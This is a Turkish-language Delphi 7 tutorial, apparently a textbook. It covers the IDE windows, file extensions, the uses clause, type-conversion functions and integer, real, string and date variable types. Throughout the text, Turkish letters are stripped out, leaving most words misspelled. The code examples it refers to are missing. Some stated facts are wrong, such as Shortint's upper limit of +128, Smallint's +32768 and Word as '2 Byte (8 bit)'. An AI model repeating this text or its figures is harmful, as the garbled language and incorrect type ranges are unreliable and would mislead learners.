Delphi 7ye Giri: Delphi 7ye hogeldiniz. diyerek, kitabmn ilk ksmna gemek istiyorum. ok gelimi bir yazlm diliyle kar karya olduunuzun sanyorum siz de farkndasnz. Gerek veri taban uygulamalar, gerekse dier uygulamalarda (Internet, Intranet, XML, HTML ve .NET destei) son derece gelimi projeler oluturmak, Delphi ile ok kolaylamtr (ok da gvenilirdir). Bu yzden ticari yazlmlarn lkemizde (dier bir ok lkede de) en yaygn olan sanyorum Delphidir. Kitapta uygulama ve gelitirme alannda kullanabileceiniz tm konulara deinilecektir. Eer herhangi bir ksmda uzmanlamak isterseniz, (iiniz gerei vs.) daha fazla teknik bilgiye ihtiyacnz olursa e-mail adresimize bavurabilir veya direkt olarak Prestige Education Centerdan yazlm destei alabilirsiniz (Gerek piyasada bulunan projelerimizle, gerekse de yetitirdiimiz binlerce rencimizden sonra; bu hususta ok gvenilir bir kaynak olduumuzu dnyoruz). Kitapta; temel konular ve dier uzmanlk alanlarn da ieren bir ok konu detayl rneklerle nnze sunulacaktr. Tecrbemiz; size hikaye anlatmaktan ok, rnek kodlarla beraber detayl aklamalarda bulunmamz gerektiini gstermitir. Mmkn olduu kadar bu amacn dna kmamaya alacaz. Artk Delphi ekrann tanyarak, basitten zora doru kod yazma ilemine geebiliriz. Delphi 7 programn bilgisayarnza kurduktan sonra, aadaki admlar izleyerek (Start-> Programs-> Borland Delphi 7-> Delphi 7) kolayca altrabilirsiniz.

Yukardaki admlar izledikten sonra, karnza Delphi 7 alna ait (Bilgisayarnzn hzna bal olarak ekranda biraz kalabilir.) pencere gelecek, arkasndan tasarm ekranna ulalacaktr. Bu ekran, hepinizin bildii gibi Windows Formlarndan (veya dier nesnelerinden) olumaktadr. Dier

yardmc nesneleri bu formlara ekleyerek proje gelitirebilmekteyiz (Windows Formlar olmadan da proje gelitirilebilir). Aada karnza alan penceredeki Windows Formlarna ait nesneler gsterilmitir:

Bu ekran bir ok Windows nesnesinden olumakta olup, imdi sizlere bu pencerelerin ne tr ilemler iin kullanlabileceklerinden bahsetmek istiyorum. Component Palette: Bu pencere, Delphi 7 ierisinde uygulama gelitirebilmeniz iin kullanabileceiniz form dndaki tm kontrolleri (Kullanm amalarna gre gruplandrma yaplarak ayr ayr yapraklar halinde verilmilerdir.) ierisinde barndran bir nesnedir.

Bu yapraklardan birtanesine tkladnz zaman, o gruba ait tm kontrolleri grebilirsiniz. Hangisini projenizde kullanacaksanz zerine mousun sol tuuyla ift tklayp, formunuzun zerine ekletebilirsiniz. rnek olmas asndan Standart yapranda bulunan Button kontrolnn zerine ift tklayn, formunuzun zerine eklendiini greceksiniz. Boyutlarn ve koordinatlarn mousunuzla kolayca deitirebilirsiniz. imdi de ayn ilemi Edit kontrol iin yapn, formunuz aadaki hali alacaktr.

Burada asl gstermek istediim; eklemi olduunuz her kontroln kullanaca ktphaneyi Delphinin otomatik olarak projeye dahil ettiidir. Peki ama bu kodu nereye ekledi? Tabii ki aadaki Unit.pas penceresinin (Formun zerine ift tklarsanz eriebilirsiniz.) ierisine (pas uzantl dosyalar yazm olduunuz kodlar saklarlar.) dosyay kaydettikten sonra bu kodlar pas uzantl olarak yeni bir dosya oluturmaktadr.

Buradaki mantk Nesneden nesne yaratma (Object Oriented) eklinde ilemektedir. Daha detayl olarak aklayacak olursak, TButton Delphi ierisinde bu kontrole ait tm zelliklerin ve metodlarn tanmland bir classtr. Button1 de, bu Classtan tretilen yavru yenin addr. Dolaysyla 5

bu snfa ait statik olmayan (Daha sonra aklanacaktr.) tm yntemleri de bnyesinde barndracaktr. Delphinin tm kontrollere ait ktphaneleri projenize balang annda eklememesinin sebebi, performans en st dzeyde tutmak istemesinden kaynaklanmaktadr (Kullanlmayan bir classn projeye eklenmesi sanrm pek ho olmayacaktr). Neyse son derece teknik olan bu hususlara daha sonraki blmlerde detayl olarak deinecek olup, imdiden kafanz fazla iirmek istemiyorum. Object Inspector, Exploring Unit.pas: Bu pencereden projenize eklemi olduunuz form ve dier nesneleri (Button, Edit vs.) izleyebilirsiniz. ayet buradaki nesnelerden herhangi birtanesinin zerine mous ile ift tklarsanz, Unit.pas penceresinde o nesnenin tanmlanm olduu satra ulaabilirsiniz.

Alt ksmda yer alan dier pencereden de eklemi olduunuz kontrole ait zellikleri Properties yaprandan deitirebilirsiniz. Eer bu pencere ekranda gzkmyorsa, View->Object Inspector admlarn izleyerek gzkmesini salayabilirsiniz. Eventslara Eriebilmek: Delphi ierisinde kod yazabileceiniz yordamlara (Tetikleyiciler) ulaabilmek iin yukardaki pencerenin (Object Inspector) Events yaprana tklayabilirsiniz. Bu yaprakta hangi yordama kod yazacaksanz, sanda yer alan beyaz kutunun ierisine mous ile ift tklamalsnz. 6

Aada Events yaprana ait grnt ekran verilmitir. Burada Forma ait (Seili eleman form olduu iin) bir ok tetikleyici grntlenecektir. Bunlar daha sonra detayl olarak kitabn ilerleyen ksmlarnda anlatlmtr.

Kod Penceresine Ulamak: Yukardaki pencerede herhangi bir yordama (simlerinin sandaki beyaz alana) mous ile ift tklarsanz, kodlar yazabileceiniz ekrana kolayca ulaabilirsiniz. Aadaki pencereye OnCreate yordam ift tklanlarak ulalmtr.

Bu yordama ait ileteceiniz kodlar yukarda iaretlenen yerlere yazmalsnz. 7

Kod (Unit) Penceresinin zellikleri: Yukarda am olduunuz Unit penceresi, grsel dillerle beraber kullanlmaya balayan bir ok zellii de beraberinde getirmektedir. Bu ekran bir Editr programnn paras olup, epeyce kullanl zellii bulunmaktadr. Aada en nemli zelliklerinden bahsedilmektedir. Ctrl+Space Tuunun Beraber Kullanlmas: Unit penceresinde kodlarnz yazarken herhangi bir komutun ba harflerini hatrlamanz, satr tamamlamanz iin yeterli olacaktr (Kodun doru yazlabilmesi iin devaml kullanmanz tavsiye ederim). Aadaki pencerede izlenen admlara dikkat ediniz.

Bu ekranda Edi yazp Ctrl+Space tularna beraberce basarsanz, eklenmi olan ktphanelere ait yazabileceiniz tm komutlar listeleyen yeni bir pencereyle karlaacaksnz. Enter tuuna basarak bu pencereden istediiniz komutu seebilirsiniz. Kod Penceresinde . Karakterinin Kullanlmas: Yukarda anlatlan ekilde (Ctrl+Space), kullanacanz komutun ismini tam olarak yazdrdktan sonra (Ezbere de yazabilirsiniz tabii ki) klavyeden . tuuna basarsanz, o kontrole (veya komuta) ait tm zellik ve metodlarn ierisinde bulunduu yeni bir listeyle karlarsnz. Hangi zellii (veya metodu) kullanacaksanz Enter tuuyla seebilirsiniz (Bu zellik kod yazma kolayl asndan gerekten devrim saylabilecek bir olaydr). Burada dikkat edeceiniz husus, eer bir kontrole ait tm zellikleri listelemek istiyorsanz; o kontroln srklenip (veya kodla eklenmesi gerekir) formun zerine braklmas

gerektiidir. Projeye tantlmam bir kontroln zelliini listelemeniz mmkn olmamaktadr. Aada bu olay rneklendirilmitir.

Kod yazarken bu pencere sizi devaml olarak ynlendirecektir. Sonu olarak her zaman doru kod satrlar oluturmu olacaksnz. Alan pencerenin sol ksmna dikkat edecek olursanz komutun bir zellik, procedure veya function olduu da belirtilmektedir. Sa tarafta ise metodun veya zelliin dndrd tip gsterilmektedir. Object TreeView Penceresi: Bu pencere, eklemi olduunuz kontrollere ait bilgileri aa yaps eklinde listelemek iin kullanlabilmektedir. Herhangi bir kontroln zerine mousun sol tuuyla tklarsanz, o kontroln aktiflemesini salayabilirsiniz. Ayn ekilde mous ile ift tklama yaparsanz sizi kod sayfasna ulatracaktr.

. Eklemi olduunuz tm kontrolleri bu pencereden takip edebilirsiniz. 9

Eer ekrannzda bu pencere gzkmyorsa View->Object TreeView admlarn izleyerek gzkmesini salayabilirsiniz. Yukardaki pencereleri dilerseniz st ste mous ile yerletirerek tek bir pencerede gsterilmesini de salayabilirsiniz. Uygulama asndan pencerelerin nerede olduu Delphiyi fazla ilgilendirmemektedir, hangisi kolaynza geliyorsa o ekilde kullanabilirsiniz.

Pencereye dikkat edecek olursanz farkl yapran bulunduunu grecekseniz. Ekrannzda daha rahat alabilmeniz iin bu yntemi uygulamanz tavsiye ederim. Delphi Dosya Uzantlar: Oluturduunuz Delphi projesi aadaki uzantl dosyalar otomatik olarak oluturacaktr.

10

Bu uzantl dosyalar aklamaya alalm. Dosya Uzants Dof Dfm Res Pas Dpr erii Pencere Ayarlar Windows Formlarna ait bilgileri Tutar Grafiksel kaynak kodlarn tutar (resim vs.) Unit lere ait kodlar Tutar Projeye ait Bilgiler Tutulur

Projenizi kaydedip bir kere altrdktan sonra aadaki iki dosyada klasrnze eklenecektir. Dosya Uzants erii Exe Tek bana altrlabilir Dosya Dcu Unit kodlarnzn derlendikten sonra tutulduu dosyadr

Bu iki dosyay silerek projelerinizi diskete kaydedebilirsiniz. Uygulamanz her altrdnzda, bu dosyalar yeniden Delphi tarafndan oluturulacaktr. Kod Penceresine Ait Font Ayarlar: Delphi, sizlere Unit penceresine yazacanz kodlar belirlemi olduu grup dahilinde deiik formatlarda yazmanza imkan tanmaktadr. Mesela ayn pencere ierisinde kod satrlar ile aklama satrlarnn farkl renkte olmas (veya farkl kalnlkta) bu sayede mmkn olabilmektedir. Dilerseniz tamamen sizin hounuza gidebilecek bir dzende oluturabilirsiniz. Aada kod penceresine ait Editr ayarlarn nasl yapabileceiniz aklanmtr.

11

Tools->Editor Options admlarndan sonra karnza aadaki Editor Properties penceresi alacaktr. Bu pencerenin Color yapran aktif hale getirin.

Elements ksmnda gruplandrlm olarak bulunan seeneklerden bir tanesini seip, o elemana ait tm font ayarlarn belirleyebilirsiniz. Yapacanz deiiklikler sadece Elements ksmndan semi olduunuz gruba etki edecektir. Dier grupta bulunan elemanlar bu deiikliklerden etkilenmeyecektir. Uses fadesi: Uses deklarasyonu sayesinde, Delphi ierisinde tanml olan ktphaneler (veya sizin oluturduunuz dier Unit leri armak) projeye dahil edilebilirler. Bu sayede ktphanelerin ierisinde tanml olan fonksiyon, deiken, procedure ve zellikleri kolayca kullanabilirsiniz. Uygulamanzn ilk almas annda en ok kullanlan ktphaneleri Delphi otomatik olarak projenize dahil edecektir. Fakat baz durumlarda sizin dahil edilmeyen ktphaneler ierisinde tantlm olan metodlara ihtiyacnz olacaktr. te bu ktphaneleri uygulamanza ancak Uses bildirisiyle arabilirsiniz. Uses bildirisinin nasl yaplaca aada gsterilmitir.

12

Pencereye dikkat edecek olursanz tek bir uses deklarasyonu sayesinde araya , konularak bir ok ktphane uygulamanza dahil edilmitir (Dahil edilen bu ktphaneler sadece Unit1 tarafndan kullanlabilir). Uses bildirimini daha iyi anlamanz iin aadaki rnei dikkatlice inceleyiniz. rnekte Buttona tklanlarak kullancya basit bir mesaj iletilmesi istenmi olup, bu amala aadaki kod satr eklenmitir.

Program altrp Button2ye tklayacak olursanz aadaki pencereyle belirtmi olduunuz uyar kullancya iletilecektir.

Peki neden bu uyar gzkt? Hemen izah edeyim, nk ShowMessage fonksiyonu Dialog ktphanesinin ierisinde tanmlanmtr (Dilerseniz Ctrl tuu baslyken mousun sol tuu ile ShowMessage yazsnn zerine tklayn) . 13

Uses satrnda da bu ktphane projenize dahil edildii iin, Buttona her tkladnzda mesaj ayr bir pencere olarak karnza gelecektir.

imdi Uses satrnda yer alan ktphanelerden Dialogs olann silip uygulamanz altrrsanz (altramayacaksnz) ShowMessage fonksiyonunu bulamadna dair uyary sizlere iletecektir. Project Manager Penceresi: Bu pencere sayesinde projeniz iin olumu olan dosyalarn kaytl olduklar adresleri izleyebilirsiniz. Burada gzken bir proje grubudur ve bu gruba ait bir ok Delphi dosyasnn bulunduu sanyorum dikkatinizi ekmitir.

ayet bu pencere ekranda gzkmyorsa View->Project Manager admlarn izleyerek ekranda atrabilirsiniz. New komutuyla ekleme, Remove komutuyla da silme ilemini gerekletirebilirsiniz.

14

Window List Penceresi: Ekranda gzkyor konumda olan tm nesneleri izleyebileceiniz bir penceredir.

Bu pencereden herhangi bir nesneyi seip OK Buttonuna tklarsanz, semi olduunuz pencereniz aktifleecektir. ayet bu pencere ekranda gzkmyorsa View->Windows List admlarn izleyerek gzkmesini salayabilirsiniz.

15

16

BLM 2 DELPHINN TEMELLER

17

18

rnekleri Yapabilmeniz in Gerekli Olan Pratik Kodlar: EditBoxn ierisinde bulunan deeri tamsay tipli deikene aktarmak

Koda dikkat edecek olursanz ilk olarak x isminde tamsay deikeni tanmlanmakta olup, kontroldeki deeri alabilmesi iin StrToInt (Stringi Tamsayya evir) tip eviri fonksiyonuna ihtiya duyulmaktadr. Eer bu tip dntrme ilemini yapmazsanz, Delphi size sonucu hesaplayamayacana dair hata mesaj iletecektir. TamSay tipli deikenin deerini yazdrmak

Tamsay tipli bir deikeni yazdrabilmek iin muhakkak Stringe evirmelisiniz. Bu dnm yapabilmeniz iin Delphide IntToStr fonksiyonu kullanlabilmektedir. Uyar:Bu tr tip dntrme ilemlerinde kullandnz atama operatrnn (:=) solundaki ve sandaki verinin tiplerinin ayn olmas gerekmektedir. 19

Ayrca kontroller zerinde klavye ile girilebilen veri tiplerinin string olduunu da unutmaynz. EditBoxn ierisinde bulunan deeri Reel Say tipli deikene aktarmak

Uygulanan yntem u; atama operatrnn sol ve sanda yer alan veri tiplerinin ayn olmasn salamak iin Edit kontrolnn ierisinde yer alan deer StrToFloat fonksiyonu sayesinde reel say tipine evrilmekte, ondan sonra atama ilemi gerekletirilebilmektedir. Reel Say Tipli Bir Deikenin Deerini Yazdrmak:

Ayn mantk uygulanarak reel say deikeni FloatToStr tip dntrme fonksiyonu sayesinde stringe evrilip, arkasndan da EditBoxn ierisinde yazdrlmaktadr (Herhangi bir tipteki matematiksel deikenin deerini yazdrabilmeniz iin muhakkak stringe dntrmeniz gerekir. Aksi halde Delphi size hata mesaj iletecektir). 20

EditBoxn erisine String Veri Yazdrmak: String tipli bir deikenin deerini (veya direkt string i) EditBox kontrolnde yazdrabilmeniz iin () operatrnden faydalanabilirsiniz. Aada her iki durum iinde rneklendirme yaplmtr.

Aada verilen rnekte ise procedure ierisinde string tipli bir deiken tanmlanarak, bu deikene aktarlacak olan ierik yazdrlmaktadr.

Burada kullanlan x deikeninin tipi string olarak verildii iin atama (:=) operatrnn sol ve sandaki tipler ayn olmaktadr. Bu yzden tip dnm ilemi uygulamak zaten mantksz olurdu. EditBoxn ierisinde bulunan deeri Tarihsel tipli deikene aktarmak Bir ok uygulamanzda tarihsel veri ieren deerlerle ilem yapmak zorunda kalacaksnz. Bu elinizdeki tarihsel deikenin deerini yazdrmak, veya tarihsel 21

deer barndran bir kontroln ieriini deikene aktarmak eklinde olabilir. imdi sizlere EditBoxn ierisinde bulunan string (Ama tarihe dntrlebilir) ierii tarihsel bir deikene nasl aktarabileceinizi gstereceim.

Kodu inceleyecek olursak, kontroln ierisindeki string tipli veri StrToDate fonksiyonu sayesinde tarihsel ierie dntrlp bir gn eklenmektedir. Ardndan tekrar ters dnm yaplarak (tarihten-stringe), formunuzun balnda yazdrlmaktadr. Tarihsel Deikenin Deerini Yazdrmak: Tarihsel ierikli bir deikenin deerini aadaki ekilde oluturacanz bir kod satr sayesinde kolaylkla yazdrabilirsiniz.

Tip dntrme ilemlerine ltfen dikkat ediniz.

22

Aktif Formu Kapatmak: alan aktif formu kapatmak (Eer tek formunuz varsa ayn zamanda programnz da sonlanacaktr.) iin aada gsterilen ekilde basit bir kodlama kullanabilirsiniz.

Alt Satrdaki Kodlarn lemesini Engellemek: Baz durumlarda procedure ierisinde belirlediiniz bir koul olutuu anda alt satrlardaki kodlarn ilemesini istemeyip, kod okumay sonlandrabilirsiniz. (C++ daki return, veya Visual Basic deki Exit Sub). imdi bu tr kodlamaya rnek vereceim.

ayet exit komut satr olmasayd formun balnda Yksel nan stringi yazacakt. Fakat exit sayesinde altta yer alan iki satr kod okutulmamakta, bundan dolay formun balnda Nihat Demirli ierii yazdrlmaktadr (Bir ok durumda ok fazla iinize yarayacak bir komuttur).

23

Program Sonlandrmak: Aktif formla beraber dier tm formlar da kapatmak iin aadaki ekilde bir kod satr kullanabilirsiniz.

Program kinci Formdan Balatmak: ayet uygulamanzda birden fazla Windows formu varsa ve siz projenizi ikinci (veya dier herhangi bir formda olabilir) formunuzdan balatmak istiyorsanz, belirtilen admlar izlemelisiniz.Project->Options men admlarndan sonra aadaki pencere alacaktr.

Bu pencerenin Forms yapran aktifletirin. Bu yaprakta bulunan Main 24

Form ksmndan programn ilk altrlaca formu seebilirsiniz (Bu pencerede uygulamanza dahil edilmi olan tm pencereler listeli halde bulunacaktr). Herhangi Bir Exe Uygulamasn altrmak: Aadaki gibi projenize ekleyeceiniz tek satrlk kodla, istediiniz exe (Dosya yolunu doru giriniz.) uzantl dosyay kolaylkla altrabilirsiniz.

Burada hatrlatmak isterim. ayet yetki probleminiz yoksa, aadaki gibi UNC (Network adresi) path belirterek de dilediiniz bir bilgisayardaki dosyay da altrabilirsiniz. Adaki Bir Bilgisayarda Bulunan Exe Uzantl Dosyay altrmak: Baka bir bilgisayardaki dosyay altrmak istiyorsanz bu durumda UNC path i kullanmalsnz.

UNC path\\makinead\\klasrpaylamad\\dosyaad eklinde kullanlmaktadr. Yukardaki kod satrnda Efsane isimli bilgisayarda, paylama alm olan WINNT klasrnn ierisindeki, Notepad.exe dosyas altrlmak istenmektedir. 25

Deikenler: Paket yazlmlarn her firma iin (veya kii) farkl sonular oluturmas, programn ierisinde deikenlerin kullanlmasndan kaynaklanmaktadr. Zaten byle olmasayd yazlmlarn hi bir anlam kalmazd. Delphide deiken temeline dayal yazlm dilidir ve bu hususta sanyorum varlabilecek en st noktaya ulam bulunmaktadr. Bu kadar nemli olan bir konuda tabiidir ki dikkat edilecek birtakm nemli hususlar vardr. imdi sizlere bu hususlardan bahsetmek istiyorum. Delphide deiken kullanlacaksa muhakkak programa bildirilmelidir. Bir deikeni programa bildirmek iin iki yntem bulunur. Bunlardan birincisi procedureun dilediiniz yerinde deerini deitirebilmenizi salayan Var bildirisi, dieri ise tanmlandnda atanacak olan deer dnda baka deer alamayan (stisnalar vardr. Daha sonra izah edilecektir.) Const bildirisidir. Ayrca Delphide deikenlerinizi rastgele yerlerde tanmlayamazsnz, deiken tanmlayabilmeniz iin size procedureun ierisinde bir blok sunmaktadr.

Delphi size procedure-begin arasnda deiken tanmlama imkan vermektedir. Baka rastgele bir yerde deiken tanmlamanz mmkn olmamaktadr. Bu blokta Constla tanmlanm deikenlere ilk deerini atama dndaki ilemleri yapamazsnz (Bu tr kodsal ilemler sadece procedureden sonra gelen beginend blou ierisinde yaplabilir). Aadaki kod penceresinde, procedure ierisinde local (Sadece o procedure tarafndan kullanlabilen ve ilem bittikten sonra bellekten atlan deikenlerdir.) deikenlerin nasl tanmlanabilecei gsterilmitir. Belirtilen blok ierisinde tanmlanan tm deikenler local deiken olarak adlandrlrlar. Bir deikenin local olmas dier procedureler tarafndan kullanlamamas ve yordam bir kere iletildikten sonra o deikenin bellekten atlaca anlamn tamaktadr. Pencereyi dikkatlice inceleyiniz.

26

Delphide ayn satrda araya , koyarak ayn tipte birden fazla deiken tanmlanabilmektedir. Ayrca tek bir var bildirisi kullanarak birden fazla satrda deiken tanmlamakta mmkndr (Ayn ilem const iinde mmkn olmaktadr). Deiken Tanmlarken Dikkat Edilecek Olan Hususlar: Deikeninizi tanmlarken aadaki hususlara dikkat etmelisiniz. Deiken isimleri kesinlikle rakamla balayamaz. Fakat ismin ierisinde veya sonunda rakam kullanlabilir. Var //Deiken bildirisi iin gereklidir. 5nih:integer; //Yanl tanmlanm bir deiken nih55:integer; //Doru tanmlanm bir deiken Deiken isimleri ierisinde deiik karakterler kullanamazsnz (Banda veya sonunda da olamaz). Var Nih#dem:integer; //Yanl tanmlanm bir deiken Nih#3:AnsiString; //Yanl tanmlanm bir deiken Deiken isimlerinde araya space tuuyla boluk brakamazsnz. Yani deikeninizin ismi birden fazla kelimeden oluamaz. Eer byle bir deiken (Ad ve soyadn ayrk yazmak isteyebilirsiniz) tanmlamak zorunda kalrsanz, iki kelime arasna _ karakterini yerletirin. 27

Var N demirli:AnsiString; N_demirli:AnsiString;

//Yanl bir deiken tanmland //Doru bir deiken tanmlamas

Delphi ierisinde kullanlan herhangi bir komut deiken ismi olarak kullanlamaz. Var Not:integer; //Yanl bir deiken tanmland Not1:integer; //Doru bir deiken tanmlamas Var bildirisiyle tanmlanan bir deikene tanmland anda deer atamas yaplamaz. Var Sayi:integer=100; Numara:Double=200.25

//Yanl bir atama //Yanl bir atama

Saysal bir deiken tanmland anda ilk deer olarak belirtilen tipe gre rastgele bir deer almaktadr (0 deil). Const ile yaplan bildiri sonucu tanmlanm olan deikene ilk deerini atamak zorunludur. Const Pi:Double; Pi:Double=3.14;

//Yanl bir deiken tanmlamas //Doru bir deiken tanmlamas

Var bildirisiyle tanmlanm deikene procedure ierisinde istenildii anda yeni bir atama yaplabilir. Const ile bildirilmi sabit deikenlere procedure ierisinde yeni deer aktarlamaz (Bunun istisnas vardr. zel bildiriler eklenerek deikene yeni deer aktarlabilmektedir, fakat bu konu daha sonra detayl olarak ilenecektir). Local deikenker procedure ilemeye balad oluturulup, kod sonland anda da bellekten atlrlar. imdi Delphi ierisindeki deiken tiplerini inceleyelim. 28 anda bellekte

Tam Say Deiken Tipleri: Delphi ierisinde sadece tam say deeri atayabileceiniz deiken tipleri aada srasyla sizlere aktarlmaktadr. Shortint (-128)-(+128) arasnda deer alabilen tam say tipli bir deikendir. Eer bu deerlerin dnda bir say aktarlmaya allrsa tama (owerflow) hatas verecektir. Bu deiken bellekte 1 Byte (8 bit) lik yer igal eder. Var Yas:Shortint; //Sadece -128 ile 128 arasnda deer atanabilir. Smallint (-32768)-(+32768) arasnda tam say deeri atanabilen deiken tipidir. Bellekte 2 Byte (16 bit) lk yer igal edecektir. Var Sayi:Smallint; //Sadece -32768 ile 32768 arasnda tam say deeri atanabilir

Longint (-2147483648)-(+2147483647) arasnda tam say deerleri alabilen bir deiken tipidir. Bellekte 4 Byte (32 bit) yer igal edecektir. Var Sayi:Longint; //Sadece -2147483648 ile 2147483648 arasnda deer atanabilir. Integer (-2147483648)-(+2147483647) arasnda tam say deerleri alabilen bir deiken tipidir. Bellekte 4 Byte (32 bit) yer igal edecektir. Var Sayi:Integer; //Sadece -2147483648 ile 2147483648 arasnda deer atanabilir.

29

Int64 (-2^63)-(2^63-1) arasnda tam say deeri atanabilen deiken tipidir. Bellekte 8 Byte (64 bit) yer igal edilecektir. Var Sayi:Int64; //Sadece -2^63 ile 2^63 arasnda deer atanabilir. Byte 0-255 arasnda pozitif tam say deeri alabilen deiken tipidir. Bellekte 1 Byte (8 bit) lk yer igal edecektir. Var Sayi:Byte; //Sadece 0-255 aras pozitif tam say deeri alabilir. Word 0-65535 aras pozitif deer alabilen deiken tipidir. Bellekte 2 Byte (8 bit) lk yer igal edecektir. Var Sayi:Word; //Sadece 0-65535 aras deer atanabilir. Longword 0-4294967295 aras pozitif deer atanabilen deiken tipidir. Bellekte 4 Byte (32bit) lk yer igal edilecektir. Var Sayi:Longword; //Sadece 0-4294967295 aras deer atanabilen deiken tipidir. Cardinal 0-4294967295 aras pozitif deer atanabilen deiken tipidir. Bellekte 4 Byte (32bit) lk yer igal edilecektir. Var Sayi:Cardinal; //Sadece 0-4294967295 aras deer atanabilen deiken tipidir.

30

Reel Say Deiken Tipleri: Delphi ierisinde ondalkl say deeri atayabileceiniz deiken tipleri aada srasyla sizlere aktarlmaktadr. Real48 (+-2.9*10^-39) ve (+-1.7*10^38) arasnda deer alabilen reel say tipidir. Ondalkl ksmdan 11-12 dijite kadar hassas alabilir. Bellekte 6 Byte (48 bit) yer igal etmektedir. Var Sayi:Real48; //Sadece yukardaki snrlar ierisinde deer alabilir. Single (+-1.5 x 10^-45) ve (+-3.4 x 10^38) arasnda deer alabilen reel say tipidir. Ondalkl ksmdan 7-8 dijit hassasiyetiyle ilem yapabilir, ve bellekte 4 Byte (32 bit) lk yer igal eder. Var Sayi:Single; //Sadece yukarda belirtilen snrlar ierisinde deer alabilir. Double (+-5.0 x 10^-324) ve (+-1.7 x 10^308) arasnda deer alabilen reel say tipidir. Ondalkl ksmdan 15-16 dijite kadar hassasiyetle ilem yapabilmektedir. Ayrca bellekte bu deiken 8 Byte (64 bit) lk yer igal edecektir. Var Sayi:Double; //Sadece yukarda belirtilen snrlar ierisinde deer alabilir. Real (5.0 x 10^-324) ile (1.7 x 10^308) arasnda deer saklayabilen reel say tipidir. Bellekte 8 Byte (64 bit) lk yer igal edecektir. Var Sayi:Real; //Sadece yukardaki snrlar arasnda deer alabilir.

31

Extended (+-3.6 x 10^-4951) ve (+-1.1 x 10^4932) arasnda deer alabilen reel say deiken tipidir. Ondalkl ksmdan 19-20 dijite kadar hassasiyetle ilem yapabilir. Ayrca bellekte 10 Byte (80 bit) lk yer igal edecektir. Var Sayi:Extended; //Sadece yukarda belirtilen snrlar ierisinde deer alabilir Comp (-2^63+1) ile( 2^63 -1) deer alabilen deiken tipidir. Ondalkl ksmda 19-20 dijit hassasiyeti ile deer saklayabilir. Ayrca bellekte 8 Byte (64 bit) lik yer igal edecektir. Var Sayi:Comp; //Sadece yukarda belirtilen snrlar ierisinde deer alabilir. Currency Parasal veriler iin kullanlabilen bu deiken tipi (-922337203685477.5808) (922337203685477.5807) arasnda deer alabilen 19-20 dijitlik bir deiken tipidir (Ondalkl ksmdan 4 basamak hassasiyetiyle alr). Ayrca bellekte 8 Byte (64 bit) lik yer igal edecektir. Var Para:Currency; //Ondalkl ksmdan sadece 4 basamak tutar. Deikenlerinizi en ekonomik tipte tanmlamanz, size daha hzl sonuca ulaabilme zellii kazandracaktr. Bu yzden deiken tanmlarken nasl olsa Extended hepsini kapsyor, bu tip tanmlayp ilemlerimi yaptraym dncesinden her zaman uzak durmalsnz. Bir adamn yan aktaracanz deikeni Double tanmlamanz sanyorum size de fazla mantkl gelmeyecektir. Bu ksma kadar olan deikenlerin hepsi saysal ierikliydi, buradan sonraki ksmda ise saysal ierii olmayan dier deikenler incelemeye alnacaktr. ncelikle String tipler.

32

String Deiken Tipleri: Bu blmde karakter ilemlerinde kullanabileceiniz deiken tiplerinden bahsedeceim. Matematiksel ve Tarihsel ierii olmayan deerleri tutmak iin kullanlan tiplerdir. ShortString 255 Kraktere kadar veri alabilen string deiken tipidir.

Bu tipteki deikene () ierisinde bilgi aktarldna dikkat ediniz. AnsiString Yaklak olarak 2^31 karaktere kadar deer atanabilen (en ok kullanacanz) ve Ansi karakter destei olan bir deiken tipidir. Kullanm ShortString deikeniyle ayndr. WideString Yaklak olarak 2^31 karaktere kadar (Unicode) deer atanabilen deiken tipidir. Var Ad:WideString; //String deiken tanmland String tipte deer alacak olan deikenlerinizi yukardaki tipten birtanesiyle tanmlayabilirsiniz.

33

Boolean Tip Deiken Tanmlamak: Bir deikeniniz sadece true veya false deerlerini alacaksa bu durumda deikeninizi Boolean tip tanmlamalsnz. Bu tip deikenlerde nc bir durum sz konusu deildir. Ayrca deiken tanmland anda varsaylan deeri false dr. Var Sonuc:Boolean; //true veya false deerini alabilir. Tarihsel erikli Deiken Tanmlamak: Delphi ierisinde tarih bilgisi ieren deerleri tutabilecek olan deikenler, TDate classndan tretilerek kullanlabilir. Aada bu husus rneklendirilmitir.

Burada tarihsel deiken olarak kullanlan iki deiken aadaki ekilde tanmlanmtr. Var lktarih,sontarih:TDate; //Tarihsel deikenler tanmlanyor. Daha sonra bu iki deikene tip dntrme ilemi uygulanarak EditBox kontrollerinden deer atanmtr. Son olarak iki tarih arasndaki fark hesaplanp balkta yazdrlmtr.

34

Delphide Sabit Deiken Tanmlamak: Baz durumlarda deeri hi deimeyen sabit bir deiken tanmlamak isteyebilirsiniz. Mesela matematikteki pi says veya logaritmada kullanlan e says gibi, ite bu tip deikenleri zel bir bildirimle yapmalsnz. Aada bu husus rneklendirilmitir.

Constla tanmlam olduunuz deikenin deerini procedure ierisinde deitiremezsiniz (zel birim ile yapabilirsiniz). Local Static Deiken Tanmlamak: Procedure ierisinde (Global deiken olabilmesi iin zel tanmlama bloklar mevcuttur, daha sonraki ksmlarda incelenecektir.) tanmlanan bir deiken, kod iletildii anda bellekte yaratlr, kodun tamam iletildikten sonra da bellekten atlr. Procedure ikinci kez tekrar ilettiiniz zaman ayn ilemler tekrarlanacaktr. Bu durumda yle bir problemle kar karya kalrz. Procedure ilk ilettiimiz zaman deikenimize en son atanan deeri, ikinci ileteceimiz zaman kullanmak istersek (Yani deikenin en son ald deeri bir sonraki arlmada hatrlamak istersek) ne yapabiliriz? Cevab ok basit, o deikeni static olarak tanmlarsnz. Local bir deikenin static olarak tanmlanmas, o procedure ikinci kez (veya daha fazla) ilettiiniz zaman nceki tur bulduu deeri kullanmasn salayacaktr. Bu olay bir ok durumda iinize tahmininizden daha fazla yarayacaktr. Aada bu husus rneklendirilmitir.

35

Formunuza bir adet button kontrol ekleyip aadaki kodu Clik Yordamna yazn. Projeyi altrdktan sonra arka arkaya buttona tklayn, formun balndaki metne dikkat ederseniz en son braklan deerlerin bir sonraki procedure iletilmesi srasnda hatrlandn greceksiniz.

Pencerede kullanlan {$j+} satr, Const ile tanmlanan sabit deikenin deerinin procedure ierisinde yeniden atanabilmesi (deitirilebilmesi) iin gerekli olan bir kod parasdr. Bu satr eklemezseniz, Delphi size Const ile tanmlanan bir deikenin deerini deitiremeyeceinize dair hata mesaj iletecektir. Hatrlatalm bu satr procedure ierisinde de tanmlayabilirsiniz (Ama Const tan sonra bildirmeniz anlamsz olacaktr).

36

